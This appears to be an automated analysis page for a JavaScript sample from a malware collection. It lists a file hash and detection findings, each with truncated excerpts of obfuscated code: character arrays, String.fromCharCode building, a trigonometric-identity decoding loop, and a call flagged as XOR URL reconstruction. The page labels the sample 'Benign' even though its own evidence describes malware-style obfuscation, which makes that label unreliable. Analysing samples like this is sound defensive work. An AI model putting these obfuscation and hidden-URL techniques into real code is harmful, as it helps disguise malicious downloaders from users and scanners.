Benign javascript-malware-collection Download

20151216_bcf7a941dcd98efea09f27837640fe9c.js

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256a93a35d04004a69f95f206c7727de344c2d71774632f64de50c26c4aad10330d

Evidence

0x3f hex byte token line 1

1YzcYpAss=[0x0,0x5,0xc,0x12,0x14,0x1a,0x22,0x23,0x2b,0x31,0x33,0x3a,0x3f,0x44,0x4a,0x4e,0x51,0x58,0x5d,0x61,0x66,0x6c,0x6e,0x73,0x79,0x7e,0x85,0x8a,0x8f,0x94,0x97,0x9e,0xa3,0xa9,0xad,0xb3,0xb8,0xb9,0x …

Builds characters with String.fromCharCode line 2

2:150… 'v','#','D','<','d','k','O','<','Y','i','r','u','m','!','Y',' ',String.fromCharCode(10),'k','m','+','y','/','F','q','/',']','"','O','>','i','T','&','-',String.fromCharCode(13),'k','I','9','Q','(','0','F','[','H' …

XOR URL reconstruction call line 2

2:774… ',','y','{','$','%','=','I','v','s','f','*','7','&','D','A','Y',String.fromCharCode(39),'B','F','[','(','a','C','[',')','^','-','%','A','v','*','m','w','5','<','>','?','E','+','^','-','(','&',',','u','9','J','-','+','J','2','"','.','9','s','{','/',';','C','9','0','`','7','d','1','U','u','&','S','/','2','P …

Dense indexed short-token grid lines 12–13

12:33… CkbNLMg,lSjwxkliaik) {gipcxDsyMxkjVj[RXmKXoCkbNLMg]=lSjwxkliaik;}
13var J = new Array();J[0]=[];J[0][0]='d';J[0][1]='a';J[0][2]='d';J[0][3]='a';J[0][4]='46';J[0][5]='3d';J[0][6]='42';J[0][7]='14';J[0][8]='3k';J[0][9]='14';J[0][10]='25';J[0][11]='14';J[0][12]='16';J[0][13]='47';J[0][14]='3k';J[0][15]='3d';J[0][16]='44';J[0][17]='3g';J[0][18]='3l';J[0][19]='3g';J[0][20]='49';J[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],J[4],J[5]];
20var PCKnZBKsI=[];
21function HKiDApPKGDJvDWpQq(qQbeL){hhFMbMQguhm= '';RzzMwDShtDI=Math.round((Math.pow(Math.sin(53), 2) + Math.pow(Math.cos(53), 2) - 1));while(true){if (RzzMwDShtDI >= (-165+999)/139){break;}PCKnZBKsI[RzzMwDShtDI]=Math.round((Math.pow(Math.sin(96), 2) + Math.pow(Math.cos(96), 2) - 1)); while(true) { if(PCKnZBKsI[RzzMwDShtDI] > qQbeL[RzzMwDShtDI].length-(-134+871)/737) { break; } if (JtjHyEo(ZLbSp(qQbeL[RzzMwDShtDI][PCKnZBKsI[RzzMwDShtDI]],(8161+743)/318,(6566+714)/728))) {hhFMbMQguhm += DvPgthpelgiZZHqnCMwwKFGLmujYEIszDwLaGtVhWjAUrwkIQBdIDS([qQbeL[RzzMwDShtDI][PCKnZBKsI[RzzMwDShtDI]]], Math.round((Math.pow(Math.sin(862), 2) + Math.pow(Math.cos(862), 2) - 1)));} PCKnZBKsI[RzzMwDShtDI]++;}RzzMwDShtDI++;} return hhFMbMQguhm}
22var BaaLefeRNgfHxbBpJeumBSkoKhzZrdGLq = 'dJDaUTPmAEysOLulRyTbChQvUVwiyARCNznQ';var ATJBwuLjmSvUKqjnRSQeppCUmnFSdaNJ = 'mYjjomKnsgiWKgoJJhpPbCOmEpcqjpMxvAgT';kZPDjoaLqVwasBi(HKiDApPKGDJvDWpQq(qQbeL),BaaLefeRNgfHxbBpJeumBSkoKhzZrdGLq,ATJBwuLjmSvUKqjnRSQeppCUmnFSdaNJ);